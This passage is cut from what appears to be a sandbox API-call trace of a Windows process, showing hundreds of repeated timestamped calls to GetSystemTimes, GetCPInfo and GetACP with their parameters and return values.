lpUserTime=0x18fa3c) returned 1 [0050.489] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.489] GetACP () returned 0x4e4 [0050.489] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.489] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.489] GetACP () returned 0x4e4 [0050.489] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.489] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.489] GetACP () returned 0x4e4 [0050.489] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.489] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.489] GetACP () returned 0x4e4 [0050.489] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.489] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.490] GetACP () returned 0x4e4 [0050.490] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.490] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.490] GetACP () returned 0x4e4 [0050.490] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.490] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.490] GetACP () returned 0x4e4 [0050.490] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.490] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.490] GetACP () returned 0x4e4 [0050.490] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.490] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.490] GetACP () returned 0x4e4 [0050.490] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.490] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.490] GetACP () returned 0x4e4 [0050.490] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.490] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.490] GetACP () returned 0x4e4 [0050.490] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.490] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.490] GetACP () returned 0x4e4 [0050.490] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.490] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.490] GetACP () returned 0x4e4 [0050.490] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.490] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.490] GetACP () returned 0x4e4 [0050.491] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.491] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.491] GetACP () returned 0x4e4 [0050.491] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.491] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.491] GetACP () returned 0x4e4 [0050.491] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.491] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.491] GetACP () returned 0x4e4 [0050.491] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.491] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.491] GetACP () returned 0x4e4 [0050.491] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.491] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.491] GetACP () returned 0x4e4 [0050.491] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.491] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.491] GetACP () returned 0x4e4 [0050.491] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.491] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.491] GetACP () returned 0x4e4 [0050.491] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.491] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.491] GetACP () returned 0x4e4 [0050.491] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.491] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.491] GetACP () returned 0x4e4 [0050.491] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.492] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.492] GetACP () returned 0x4e4 [0050.492] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.492] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.492] GetACP () returned 0x4e4 [0050.492] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.492] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.492] GetACP () returned 0x4e4 [0050.492] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.492] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.492] GetACP () returned 0x4e4 [0050.492] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.492] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.492] GetACP () returned 0x4e4 [0050.492] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.492] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.492] GetACP () returned 0x4e4 [0050.492] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.492] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.492] GetACP () returned 0x4e4 [0050.492] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.492] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.492] GetACP () returned 0x4e4 [0050.492] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.492] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.492] GetACP () returned 0x4e4 [0050.492] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.492] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.493] GetACP () returned 0x4e4 [0050.493] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.493] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.493] GetACP () returned 0x4e4 [0050.493] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.493] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.493] GetACP () returned 0x4e4 [0050.493] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.493] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.493] GetACP () returned 0x4e4 [0050.493] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.493] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.493] GetACP () returned 0x4e4 [0050.493] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.493] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.493] GetACP () returned 0x4e4 [0050.493] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.493] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.493] GetACP () returned 0x4e4 [0050.493] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.493] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.493] GetACP () returned 0x4e4 [0050.493] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.493] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.493] GetACP () returned 0x4e4 [0050.493] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.493] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.493] GetACP () returned 0x4e4 [0050.494] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.494] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.494] GetACP () returned 0x4e4 [0050.494] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.494] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.494] GetACP () returned 0x4e4 [0050.494] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.494] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.494] GetACP () returned 0x4e4 [0050.494] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.494] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.494] GetACP () returned 0x4e4 [0050.494] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.494] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.494] GetACP () returned 0x4e4 [0050.494] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.494] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.494] GetACP () returned 0x4e4 [0050.494] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.494] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.494] GetACP () returned 0x4e4 [0050.494] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.494] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.494] GetACP () returned 0x4e4 [0050.494] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.494] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.494] GetACP () returned 0x4e4 [0050.494] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.495] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.495] GetACP () returned 0x4e4 [0050.495] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.495] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.495] GetACP () returned 0x4e4 [0050.495] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.495] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.495] GetACP () returned 0x4e4 [0050.495] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.495] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.495] GetACP () returned 0x4e4 [0050.495] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.495] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.495] GetACP () returned 0x4e4 [0050.495] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.495] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.495] GetACP () returned 0x4e4 [0050.495] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.495] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.495] GetACP () returned 0x4e4 [0050.495] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.495] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.495] GetACP () returned 0x4e4 [0050.495] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.495] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.495] GetACP () returned 0x4e4 [0050.495] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.496] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.496] GetACP () returned 0x4e4 [0050.496] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.496] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.496] GetACP () returned 0x4e4 [0050.496] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.496] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.496] GetACP () returned 0x4e4 [0050.496] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.496] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.496] GetACP () returned 0x4e4 [0050.496] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.496] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.496] GetACP () returned 0x4e4 [0050.496] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.496] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.496] GetACP () returned 0x4e4 [0050.496] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.496] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.496] GetACP () returned 0x4e4 [0050.496] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.496] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.496] GetACP () returned 0x4e4 [0050.496] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.496] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.496] GetACP () returned 0x4e4 [0050.496] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.496] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.496] GetACP () returned 0x4e4 [0050.497] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.497] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.497] GetACP () returned 0x4e4 [0050.497] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.497] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.497] GetACP () returned 0x4e4 [0050.497] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.497] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.497] GetACP () returned 0x4e4 [0050.497] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.497] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.497] GetACP () returned 0x4e4 [0050.497] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.497] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.497] GetACP () returned 0x4e4 [0050.497] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.497] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: 